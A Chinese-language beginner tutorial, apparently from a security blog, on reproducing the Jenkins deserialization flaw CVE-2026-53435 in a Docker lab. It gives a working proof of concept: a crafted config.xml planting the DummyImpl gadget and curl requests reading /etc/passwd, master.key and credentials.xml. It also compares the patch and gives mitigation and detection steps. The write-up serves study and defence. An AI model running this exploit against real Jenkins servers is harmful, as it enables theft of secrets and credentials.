CVE-2026-53435 复现详解:Jenkins 反序列化导致任意文件读取(新手向)
面向新手的 CVE-2026-53435 Jenkins 反序列化漏洞复现教程,从环境搭建到利用原理,手把手教你理解并复现该漏洞。
免责声明:本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。未经授权对他人系统进行渗透测试属于违法行为。
目录
漏洞概述
什么是 CVE-2026-53435?
CVE-2026-53435 是 Jenkins 核心中的一个高危反序列化漏洞(官方编号 SECURITY-3707)。它允许一个低权限的认证用户通过上传恶意构造的 config.xml 文件,在 Jenkins 控制器上实现:
- 任意文件读取(本文重点演示)
- 用户冒充(发送服务器端请求)
- 远程代码执行(通过 Script Console 执行 Groovy 代码)
影响范围
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2026-53435 / SECURITY-3707 |
| 漏洞类型 | 不安全的反序列化(Unsafe Deserialization) |
| CVSS 评分 | 8.8(High) |
| 影响版本 | Jenkins weekly ≤ 2.567,LTS ≤ 2.555.2 |
| 修复版本 | Jenkins weekly 2.568,LTS 2.555.3 |
| 安全公告 | https://www.jenkins.io/security/advisory/2026-06-10/ |
前置条件
攻击者只需要满足以下条件:
- 拥有一个认证用户账号(不能是匿名用户)
- 拥有 Overall/Read 权限
- 拥有以下任意一种权限即可:
- View/Configure(视图配置)
- Item/Configure(任务配置)
- Agent/Configure(代理配置)
换句话说,一个最普通的 Jenkins 用户,只要他能创建或修改视图(View),就可能利用这个漏洞读取服务器上的任意文件。
前置知识
在深入复现之前,我们需要先理解几个关键概念。别担心,我会用简单的类比来解释。
1. 什么是序列化与反序列化?
| 概念 | 定义 | 生活类比 |
|---|---|---|
| 序列化 | 把程序中的对象转换成可以存储或传输的格式(如 XML、JSON、二进制) | 把新鲜水果做成水果罐头 |
| 反序列化 | 把存储/传输的格式还原成程序中的对象 | 把水果罐头打开,还原成水果 |
Jenkins 使用 XStream 库将 Java 对象序列化为 XML 格式保存到 config.xml 文件中。当 Jenkins 需要读取配置时,再把 XML 反序列化 回 Java 对象。
2. Stapler Web 框架
Jenkins 使用 Stapler 框架来处理 HTTP 请求。它的工作方式很特别:
- 普通的 Web 框架:URL 映射到某个方法或控制器
- Stapler:URL 直接映射到对象的字段和方法
比如访问 /view/myview/properties/0/somefile,Stapler 会:
- 找到
myview这个视图对象 - 访问它的
properties字段(一个列表) - 取索引
0的对象 - 把剩下的路径
somefile传给该对象处理
3. JEP-200 与 ClassFilter
2018 年,Jenkins 实施了 JEP-200 安全改进,引入了一个 ClassFilter:
- 只允许反序列化 Jenkins 核心或插件中定义的类
- 阻止了常见的第三方 gadget chain(如 Commons-Collections)
这就像一个”白名单”:只有 Jenkins 自家的类才能被反序列化。
4. 为什么普通的 ysoserial 链无效?
很多 Java 反序列化漏洞可以用 ysoserial 工具一键利用,但在这个漏洞中:
- ysoserial 生成的 gadget chain 使用的是第三方库类(如 Commons-Collections)
- 这些类不在 Jenkins 的白名单中
- 所以会被 ClassFilter 拦截
结论:我们必须找到一个** Jenkins 核心自带的类**作为 gadget,才能绕过 ClassFilter。
漏洞原理深入解析
根因:两道防线之间的”缝隙”
Jenkins 有两道安全防线:
- ClassFilter(反序列化时):检查类是否在白名单中
- Stapler 路由限制(HTTP 请求时):限制只能路由到白名单中的类型
这两道防线各自有效,但之间存在一个安全间隙:
ClassFilter 只检查”这个类是不是 Jenkins 核心/插件里的类”,但它不检查”这个类是不是应该出现在这个位置”。
三个关键弱点
弱点 1:DescribableList 不强制验证元素类型
Jenkins 中有很多 DescribableList<T> 类型的列表,比如视图的 properties 列表,它的声明类型是 DescribableList<ViewProperty>。
问题:在修复前的版本中,XStream 反序列化这个列表时,不会严格验证列表里的每个元素是否真的是 ViewProperty 类型。这就给了我们”偷梁换柱”的机会。
弱点 2:hudson.Plugin$DummyImpl 是核心类
我们找到的 gadget 是 hudson.Plugin$DummyImpl(XStream 序列化时写成 hudson.Plugin_-DummyImpl,用 _ 代替 $)。
| 属性 | 说明 |
|---|---|
| 所属位置 | Jenkins 核心(hudson.Plugin 的内部类) |
| ClassFilter | 通过(因为是核心类) |
| 关键字段 | baseResourceURL |
| 危险方法 | doDynamic()(继承自 hudson.Plugin) |
这个类虽然是”Dummy”(虚拟/占位)用的,但它继承了 hudson.Plugin 的所有方法,包括 doDynamic()。
弱点 3:doDynamic() 可以读取文件
hudson.Plugin.doDynamic() 方法的作用是:将 URL 路径的剩余部分作为静态资源路径,相对于 baseResourceURL 进行解析并返回。
如果我们把 baseResourceURL 设置为 file:/(文件系统根目录),那么访问 /view/xxx/properties/0/etc/passwd 时:
- Stapler 路由到
DummyImpl对象 - 调用
doDynamic("etc/passwd") - 该方法读取
file:/etc/passwd - 文件内容返回给攻击者
攻击链图解
1
2
3
4
5
6
7
8
9
攻击者 POST 恶意 config.xml
↓
XStream 反序列化,DummyImpl 被植入 view.properties[0]
↓
攻击者 GET /view/{name}/properties/0/etc/passwd
↓
Stapler 路由到 DummyImpl.doDynamic()
↓
读取 file:/etc/passwd 并返回
实验环境搭建
环境拓扑
我们使用 Docker Compose 搭建一个完整的实验环境,包含两个 Jenkins 实例:
| 容器 | 角色 | 访问地址 |
|---|---|---|
cve53435-jenkins-vuln | 漏洞版本 LTS 2.555.2 | http://localhost:8080 |
cve53435-jenkins-fixed | 修复版本 LTS 2.555.3 | http://localhost:8081 |
启动实验环境
1
2
cd /home/fyfhcgch/Github/fyfhcgch.github.io/CVE-2026-53435/CVE-2026-53435/lab
docker compose -f docker-compose.yml up -d
等待约 60 秒让 Jenkins 完成启动:
1
2
curl -s -o /dev/null -w '%{http_code}\n' http://localhost:8080/login
# 返回 200 表示就绪
实验账号
环境通过 init.groovy.d/01-setup.groovy 自动创建了两个用户:
| 用户名 | 密码 | 权限 |
|---|---|---|
| admin | admin123 | 管理员(全部权限) |
| lowpriv | lowpriv123 | Overall/Read + Item/Configure(攻击者身份) |
注意:
lowpriv不是管理员!它只有普通用户的最低必要权限,这正是这个漏洞的可怕之处。
手动复现步骤
下面我们以 lowpriv 用户身份,一步步手动复现漏洞。
Step 1:获取 CSRF Crumb
Jenkins 默认开启 CSRF 防护,POST 请求需要携带 crumb:
1
2
curl -u "lowpriv:lowpriv123" \
-X GET "http://localhost:8080/crumbIssuer/api/json"
响应示例:
1
2
3
4
5
{
"_class": "hudson.security.csrf.DefaultCrumbIssuer",
"crumb": "4017c9fe0a3c87d005a258a7b3d1b21ce872657ef16c2789cd830865659a8f3a",
"crumbRequestField": "Jenkins-Crumb"
}
记下 crumb 的值,后面会用到。
Step 2:构造恶意 config.xml
创建文件 exploit.xml,内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<hudson.model.ListView>
<name>CVE202653435</name>
<filterExecutors>false</filterExecutors>
<filterQueue>false</filterQueue>
<properties class="hudson.model.View$PropertyList">
<hudson.Plugin_-DummyImpl>
<wrapper class="hudson.PluginWrapper">
<baseResourceURL>file:/</baseResourceURL>
</wrapper>
</hudson.Plugin_-DummyImpl>
</properties>
</hudson.model.ListView>
关键元素解释:
| 元素 | 含义 |
|---|---|
<hudson.model.ListView> | 创建一个列表视图(View) |
<properties> | 视图的属性列表(DescribableList) |
<hudson.Plugin_-DummyImpl> | 植入的 gadget 类。注意:XStream 用 _ 代替 $ |
<baseResourceURL>file:/</baseResourceURL> | 设置基础资源 URL 为文件系统根目录 |
Step 3:发送恶意请求创建 View
1
2
3
4
5
curl -u "lowpriv:lowpriv123" \
-X POST "http://localhost:8080/createView?name=CVE202653435" \
-H "Content-Type: application/xml" \
-H "Jenkins-Crumb:4017c9fe0a3c87d005a258a7b3d1b21ce872657ef16c2789cd830865659a8f3a" \
--data-binary @exploit.xml
预期响应:HTTP 200(创建成功)
Step 4:验证 Gadget 是否植入成功
获取刚才创建的 view 的 config.xml,检查 DummyImpl 是否存在:
1
2
curl -u "lowpriv:lowpriv123" \
-X GET "http://localhost:8080/view/CVE202653435/config.xml"
预期响应(关键部分):
1
2
3
4
5
6
7
8
9
<?xml version="1.1" encoding="UTF-8"?>
<hudson.model.ListView>
<name>CVE202653435</name>
...
<properties>
<hudson.Plugin_-DummyImpl/>
</properties>
...
</hudson.model.ListView>
看到 <hudson.Plugin_-DummyImpl/> 说明 gadget 已经成功植入!
Step 5:读取任意文件
现在通过 Stapler 路由触发文件读取。我们来读取 /etc/passwd:
1
2
curl -u "lowpriv:lowpriv123" \
-X GET "http://localhost:8080/view/CVE202653435/properties/0/etc/passwd"
预期响应:
1
2
3
4
5
6
7
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash
成功了!我们用一个普通用户权限读取了 Jenkins 服务器上的 /etc/passwd。
Step 6:读取 Jenkins 敏感配置文件
除了系统文件,我们还可以读取 Jenkins 自身的敏感配置:
1
2
3
4
5
6
7
8
9
10
11
# 读取 Jenkins 主配置
curl -u "lowpriv:lowpriv123" \
-X GET "http://localhost:8080/view/CVE202653435/properties/0/var/jenkins_home/config.xml"
# 读取 master.key(加密密钥)
curl -u "lowpriv:lowpriv123" \
-X GET "http://localhost:8080/view/CVE202653435/properties/0/var/jenkins_home/secrets/master.key"
# 读取凭据文件
curl -u "lowpriv:lowpriv123" \
-X GET "http://localhost:8080/view/CVE202653435/properties/0/var/jenkins_home/credentials.xml"
Step 7:清理恶意 View
测试完成后,记得删除创建的恶意视图:
1
2
3
curl -u "lowpriv:lowpriv123" \
-X POST "http://localhost:8080/view/CVE202653435/doDelete" \
-H "Jenkins-Crumb:4017c9fe0a3c87d005a258a7b3d1b21ce872657ef16c2789cd830865659a8f3a"
补丁对比与验证
为了证明这个 PoC 确实针对的是 CVE-2026-53435,而不是其他文件读取漏洞,我们在漏洞版本和修复版本上分别测试。
测试环境
| 实例 | 版本 | 端口 |
|---|---|---|
| 漏洞版本 | Jenkins LTS 2.555.2 | 8080 |
| 修复版本 | Jenkins LTS 2.555.3 | 8081 |
对比结果
| 测试项 | 2.555.2(漏洞) | 2.555.3(修复) |
|---|---|---|
createView 请求 | HTTP 200 | HTTP 200 |
存储的 <properties> | <hudson.Plugin_-DummyImpl/> 保留 | <properties/> 被清空 |
触发读取 /etc/passwd | root:x:0:0:... 成功 | 空响应 失败 |
结论
修复版本接受了 createView 请求,但在反序列化时拒绝了非预期的类型(DummyImpl),导致 properties 列表被清空。因此后续的路由请求找不到对象,文件读取失败。
这证明了补丁确实修复了该漏洞的核心机制。
防御与修复建议
立即措施:升级 Jenkins
| 当前版本类型 | 目标版本 |
|---|---|
| Weekly | 2.568 或更高 |
| LTS | 2.555.3 或更高 |
1
2
3
4
5
# Docker 升级示例
docker pull jenkins/jenkins:2.568
docker stop jenkins
docker rm jenkins
docker run -d --name jenkins -p 8080:8080 jenkins/jenkins:2.568
临时缓解措施
如果无法立即升级,可以采取以下措施降低风险:
- 最小化权限
- 审计并严格限制拥有 View/Configure、Item/Configure、Agent/Configure 权限的用户数量
- 启用审计日志
- 监控包含
DummyImpl或baseResourceURL的POST /createView请求 - 监控
GET /view/*/properties/0/*路径的异常访问
- 监控包含
- 网络隔离
- 限制 Jenkins 管理界面的网络访问范围
- 使用 VPN 或私有网络访问 Jenkins 控制台
入侵检测(IoC)
检查是否已被攻击:
1
2
3
4
# 列出所有 view,检查 config.xml 中是否包含 DummyImpl
for view in $(curl -s "$JENKINS_URL/api/json" | jq -r '.views[].name'); do
curl -s "$JENKINS_URL/view/$view/config.xml" | grep -i "DummyImpl" && echo "ALERT: $view"
done
如果发现包含 DummyImpl 的视图,立即删除并轮换所有敏感凭据:
1
2
3
# 删除恶意 View
curl -u "user:pass" -X POST "http://jenkins/view/CVE202653435/doDelete" \
-H "Jenkins-Crumb:xxx"
总结
关键知识点回顾
- 反序列化漏洞不一定需要第三方 gadget:Jenkins 核心自带的类也可以被利用
- 白名单机制有局限:ClassFilter 只检查”类在哪里定义”,不检查”类应该出现在哪里”
- 框架特性可能成为攻击面:Stapler 的自动路由特性在这里被利用来触发危险方法
- 低权限 ≠ 低风险:一个只有 View/Configure 权限的普通用户,也能造成严重危害
参考资源
| 资源 | 链接 |
|---|---|
| Jenkins 安全公告(2026-06-10) | https://www.jenkins.io/security/advisory/2026-06-10/ |
| CVE 详情 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53435 |
| JEP-200 文档 | https://github.com/jenkinsci/jep/tree/master/jep/200 |
文章撰写时间:2026-06-18 测试环境:Jenkins 2.555.2 (Docker)